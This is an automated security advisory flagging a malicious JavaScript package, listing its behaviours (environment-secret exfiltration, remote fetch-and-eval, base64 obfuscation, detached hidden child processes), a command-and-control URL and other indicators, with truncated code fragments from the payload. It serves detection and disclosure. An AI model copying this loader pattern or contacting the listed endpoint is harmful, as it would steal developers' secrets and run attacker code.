GCVE-110-OSM-2026-7114

Malicious package detected. Behaviors: data exfiltration, code execution, network activity, obfuscated code. ENTRY index.js (main: index.js) DESTINATION - custom-c2: https://api.jsonstorage.net/v1/json/2ef8c758-a96f-459e-b036-b3b90379a165/a179ea35-b962-4722-b3f1-e28316d1a44a (primary, decoded) in lib/caller.js - custom-c2: api.jsonstorage.net (decoded) in lib/caller.js EXFIL - Environment Variable Exfiltration in lib/caller.js: "process.env.DEV_SECRET_KEY); const v = atob(process.env.DEV_SECRET_VALUE); let r..." - Fetch and Eval/Exec in lib/caller.js: "axios.get(src, { headers: { [k]: v } })).data.cookie; const handler = new Functi..." - Network Request in lib/caller.js: "axios.get(" OBFUSCATION - Global Variable Shadowing in lib/caller.js: "const process = {" - Base64 Decoded Environment Variable in lib/caller.js: "atob(process.env." - Decoded Base64 Content in lib/caller.js - Decoded Base64 Content in lib/const.js - Decoded Base64 Content in [deobfuscated] lib/caller.js - IOCs Found in Deobfuscated Code in lib/caller.js - Dynamic Base64 Decoding in lib/caller.js: "atob(process." - Base64 Encoded Payload in lib/caller.js: ""aHR0cHM6Ly9hcGkuanNvbnN0b3JhZ2UubmV0L3YxL2pzb24vMmVmOGM3NTgtYTk2Zi00NTllLWIwMzY..." (+2 more) ADDITIONAL FINDINGS - Stealth Background Process Spawning in index.js: "spawn("node", [script, JSON.stringify(args)], { detached: true, stdio: "ignore" ..." - Shell Command Execution in index.js: "require("child_process")" - Silent Process Execution in index.js: "stdio: "ignore"" - Detached Child Process Payload in index.js: "spawn("node", [script, JSON.stringify(args)], { detached: true" - Dynamic Code Execution in lib/caller.js: "Function.constructor(" PAYLOAD FILES lib/caller.js INDICATORS (IOCs) - urls: http://192.168.1.42:9200 - domains: velo.org - emails: tyler@velo.org - payloadFileHash: 37e9dde0f35864e2ea8dcd4c8b5324ef50e3798195d04c30ba6938352af702db